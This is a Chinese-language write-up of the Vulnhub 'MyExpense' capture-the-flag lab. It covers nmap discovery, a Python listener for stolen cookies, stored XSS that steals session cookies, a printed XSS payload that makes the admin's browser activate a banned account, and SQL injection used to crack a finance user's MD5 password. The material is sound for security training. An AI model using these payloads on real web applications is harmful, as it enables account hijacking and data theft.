MyExpense靶机渗透
攻击机: win10 192.168.192.129
靶机:MyExpense(我要报销)
靶机场景描述:
您是“塞缪尔·拉莫特”,刚刚被您的公司“Furtura Business Informatique”解雇。 不幸的是,由于您匆忙离开,您没有时间验证您上次商务旅行的费用报告,该报告仍相当于 750 欧元,相当于您最后一位客户的回程航班。
由于担心您的前雇主可能不想报销您的此费用报告,您决定侵入名为 “MyExpense” 的内部应用程序来管理员工费用报告。
所以你在车里,在公司停车场,并连接到内部 Wi-Fi(钥匙在你离开后仍未更换)。该应用程序受用户名/密码身份验证保护,您希望管理员尚未修改或删除您的访问权限。
您的凭据是:samuel/fzghn4lw
挑战完成后,该标志将在与您的 (samuel) 帐户连接时显示在应用程序上。
先扫描一下 ip 存活
1 | nmap -sP 192.168.192.0/24 |
靶机 ip:192.168.192.146
然后探测靶机开放的端口和服务
开放了一个 80 端口,开启 apache 服务
访问该 ip 的 80 端口
先进行目录扫描
robots.txt 也是指向/admin/admin.php
于是访问/admin/admin.php
我们的账户是 samuel/fzghn4lw,可以发现我们的账户是被 ban 了
所以我们下一步就是想办法激活自己的账户,要想激活自己的账户,可以拿到管理员账户来进行。
那么要想拿到管理员账户,就可以利用 XSS 漏洞拿到管理员账户的 cookie,然后利用 cookie 进行登录
我们先注册一个账户登录进去看看 aaa/hackerhacker
发现 sign up 按钮不能点击,于是 F12 打开控制台,修改一下
然后就可以点击 sign up 了
登录后发现登陆不进去
所以我们不能自己注册进入,那么可能需要用其他账户登录,爆破太困难,这个想法先保留
可以在登录口试试 sql 注入检测,检测后发现也没有 sql 注入漏洞
于是再换思路,既然我们的 username 等会显示在屏幕上,所以我们可以试试在注册时的 username 等会显示的地方插入 xss 语句
先在攻击机上开启 http,接收 xss
1 | python -m http.server 8005 |
1 | 这里使用firstname处: |
然后就能拿到一些 cookie,但是我这里一直收不到管理员的 cookie,但是能收到自己的 cookie,所以无法复现,接下来说思路,并配合大佬博客解释(Vulnhub-MyExpense: 1-Writeup(完)_vulhub 题 writeup-CSDN 博客)
直接登录管理员 cookie 是不行的,然后将我们账号的 inactive 状态修改成 active,其中修改 cookie 为管理员 cookie
现在尝试使用管理员的 cookie:PHPSESSID = lq01sl79rjuqhfcgo9tsb3eek1,去激活 samuel 用户, 点击激活按钮,抓包修改 cookie。
发送,得到提示:作为一个管理员,在同一时间只能被认证一次,从这里可以看出,后台有脚本在跑这个页面,并且使用的管理员账号,从这里可以看出上面那个 cookie 是管理员 cookie。
既然我们不能使用 cookie 去激活那个账号,那我们就构造 xss 语句,让后台脚本自动访问该页面时,由管理员自己激活那个账号。点击那个激活按钮后看到提交参数 id = 11&status = active。所以构造 payload 如下:
1 | <script>document.write('<img src="http://192.168.34.157/admin/admin.php?id=11&status=active"/>');</script> |
点击提交
成功的变为了激活状态,思路没错。
所以我们可以登录自己帐号了
登录自己账号后有一个 message 留言板,也能显示留言
然后在留言板里构造 xss 的 payload,得到一些 cookie,其中就有经理的 cookie
登录到了经理的 cookie 后,就能看到我们的那个 750 的费用报告,点击同意
现在使用经理 cookie 登录到经理账号:Manon,访问导航栏的 Rennes 页面,此时看见提交参数为 id = 2.
然后在此处测试出来 sql 注入,拿到一个财务人员的 md5 密码,解码拿到密码,然后登录财务,通过请求
再重新用 slamotte 用户登录,看到 flag。